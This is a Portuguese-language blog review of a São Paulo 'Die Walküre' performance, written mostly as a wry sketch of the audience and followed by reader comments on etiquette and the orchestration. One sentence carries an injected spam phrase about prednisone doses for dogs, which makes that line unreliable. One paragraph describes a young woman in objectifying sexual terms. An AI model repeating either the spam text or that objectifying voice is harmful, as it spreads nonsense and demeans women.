Crítica

Die Walkure do dia 23.11, em São Paulo

Crônicas operísticas: todos somos atores no Theatro Municipal de São Paulo.

Quando vou ao teatro de ópera não é só a apresentação que conta. O público diz muita coisa. Todos no teatro de ópera se transformam, cada um faz seu tipo, quer mostrar um ar de intelectualidade, muitas vezes de superioridade. Sinto que para muitos a récita é o menos importante. Ver e ser visto, mostrar o mais moderno aparelho de telefone celular, contar aos amigos que foi ao teatro e  dissertar sobre a produção e vozes, dar uma de entendido, isso é o legal da coisa. O burburinho das pessoas no longo intervalo, pena que não da para conversar durante a apresentação, aí seria uma farra geral.

Na noite de ontem  me deparo com as figuras de sempre. Cantores que vão prestigiar os colegas há aos montes, pessoas tirando fotos nas escadarias do Theatro Municipal de São Paulo está virando um ritual de passagem. Os saudosistas, que sempre lembram algum grande tenor ou soprano que passou pelo palco do teatro carimbaram sua posição. Sem esquecer os atrasadinhos, os que querem um lugar melhor, os que deixam o celular ligado (Hello Motto), os que adoram filmar a récita e aqueles que tentam descolar um ingresso de graça, sempre há alguém com um sobrando.

Afirmo categoricamente, cada um no teatro de ópera tem seu tipo. Baco ou Dionísio, deus grego do êxtase e do entusiasmo,  deus do vinho e dos atores, não é incorporado apenas pelos artistas. Todo o público é um ator nato, fiel em sua representação única, muitas vezes estranha, comovente, mas verdadeira. No Municipal de São Paulo cabem mais de 1500 pessoas e temos uma enormidade de figuras pitorescas, muitas delas exóticas,  que parecem saídas de um romance de Dostoievsky .

Chama-me a atenção uma bela jovem, acompanhada do namorado bonitão e da mãe recheada de cirurgias plásticas e botox. A moça é de uma beleza monumental, aquela que por onde passa os olhares se fixam. Seios fartos com um vestido que os deixam tentadores, cabelo louro digno de uma Isolda, mais de 1.80 de altura e um sorriso excitante. Os homens babam, as mulheres morrem de inveja e no fundo todos queriam possuí-la: homens e mulheres. Quem não quer uma garota assim! Eu quero.

No saguão, ela tira fotos com o namorado, passeia pela escadaria feliz da vida, afinal de contas, vai assistir a uma ópera de Wagner. Imagina o que as amigas pensarão dela, haja ar de inteligência, o “Face”  vai bombar amanhã. Depois de saborear alguns petiscos a família feliz vai ao camarote, senta-se no primeiro, pertinho do palco. Esse é um dos piores, é difícil ver as legendas. Lê o programa com ar concentrado. Quando começa a apresentação, ela se altera, aquele sorriso já não é tão simpático, a cara de bons amigos da forma a um jeitinho bravo. Até assim a danada é bonita. Diferente da maioria do publico que ficou até o fim, ela, namorado e mamãe não passaram do segundo ato. Fazer o quê, aguentar 5 horas de música incomoda os ouvidinhos da beldade.

Vou falar da ópera antes que alguém reclame. Um casal  conversa amorosamente próximo à minha poltrona. Tinham lido que seria uma Valquíria brasileira, ela indaga surpresa que não viu nenhuma menção ao samba ou ao futebol. Percebeu que o diretor abrasileirou de forma inteligente, a orquestra continua muito boa, os solistas são os mesmos, a qualidade vocal do soprano Janice Baird como Brünnhilde caiu em demasia por motivos de doença. Eiko Senda how much prednisone for dogs tem voz especial e canta Sieglinde muito bem. Esse casal é uma das raridade que existem na vida. Antes de assistir à ópera pesquisaram sobre o tema, trouxeram um exemplar da coleção da Folha, me perguntam se a tuba que está tocando é mesma que foi elaborada por Richard Wagner para o ciclo do Anel.

Sou pego de surpresa, fiquei aterrorizado, quem faria uma pergunta dessas, só quem entende do riscado. Sinceramente, não faço a menor ideia se a tuba é  mesma que foi elaborada pelo grande compositor alemão. Um casal desses dignifica a récita. Disseram que pesquisam antes de assistir a qualquer espetáculo. Se todos fossem assim, teríamos discussões acaloradas no teatro, o pau quebraria entre alguns, seria divertido. Afinal de contas, alguém de vocês sabe qual tuba foi usada?

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5 Comments

  1. Querido Ali, ri quando li esta sua matéria espirituosa. Nada vai mudar por aqui, infelizmente, na minha opinião. Simplesmente porque não somos absolutamente um povo que é “criado” para gostar de ouvir ópera, claro; muito pelo contrário! Não somos os italianos, por exemplo, que têm ópera no sangue como nós temos o samba (geralmente) e se acham, inclusive, autorizados a vaiar algum cantor infeliz que semitona em seus templos sagrados da ópera como o Scala – coisa mais natural! Não aprendemos teoria ou solfejo nas escolas públicas… Eu desisti de assistir às óperas no Municipal de São Paulo (ao menos por enquanto – quando se dignarem a trazer verdadeiras estrelas e grandes cantores) depois que uma senhora ao meu lado cantarolou “la Donna è Mobile” inteira junto com o tenor, durante a montagem recente de Rigoletto. Não sabia se ria ou se chorava de raiva! No final, ri. Fazer o quê? Esperar pelo quê?…

  2. Nossa, quando não se sabe o que dizer, principalmente sobre uma seara complexa com é a obra de Wagner, ilustra-se um remendo de crítica com umas croniquetas parvas e sem estilo! Deplorável.

  3. Aqui no RJ a situação é crítica também. Fui assistir à Tosca e um casal atrás de mim resolveu trocar juras de amor durante o 1º ato todo. No 3º, uma moça decidiu que queria cantar “Lucevan le stelle” junto com o tenor…e cantava alto!
    Na apresentação de “O amor das 3 laranjas” (dia 27) um casal ficou revoltado pois o figurino não ficou como eles haviam imaginado e resolveram criticar todo mundo que estava no palco: solistas, coristas e integrantes da orquestra (críticas idiotas e nada construtivas…) Quando cansaram destes, resolveram criticar o maestro Isaac Karabtchevsky, falando que “ele não tá regendo direito,ele nem tá descabelado!”.
    Pérolas do Theatro Municipal do RJ.

  4. Prezado autor, SIM, as tubas Wagnerianas fizeram parte das récitas de “Die Walküre”!!! Elas são diferentes das tubas comuns pois seu formato é mais ovalado. Acredito que foram duas (uma tuba tenor e uma tuba baixo) ao invés das quatro tubas Wagnerianas preconizadas por Wagner. Aliás, entendo perfeitamente a limitação física e espacial do fosso da orquestra, porém o número de instrumentos foi totalmente desrespeitado. Tivemos duas harpas ao invés das seis preconizadas. Acredito que não tivemos oito tubas comuns… A orquesta, embora muito bem conduzida, esteve bem aquém do nível dos cantores!

  5. Claro que a orquestra estava reduzida e por uma razão muito simples. A orquestração de Wagner foi feita para o fosso de teatro de Bayreuth, fosso profundo e coberto por uma concha que primeiro projeta o som para o palco e depois para a plateia. A orquestra e regente ficam invisíveis ao público. Colocar 6 harpas, 8 trompas, todos os metais e a orquestra como Wagner colocou na partitura, seria impossível ouvir os cantores. Até na Alemanha, nos teatros com fosso tradicional se reduz a orquestração. Confira em várias versões que existem em dvd que no máximo se usam 3 harpas.

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Ali Hassan Ayache
Bacharel em Geografia pela USP. Apreciador de ópera, balé e música clássica. Ativo no meio musical, mantém o blog http://verdi.zip.net/. Escreve críticas, divulga eventos, entrevista personalidades e resenha óperas e balés em DVD.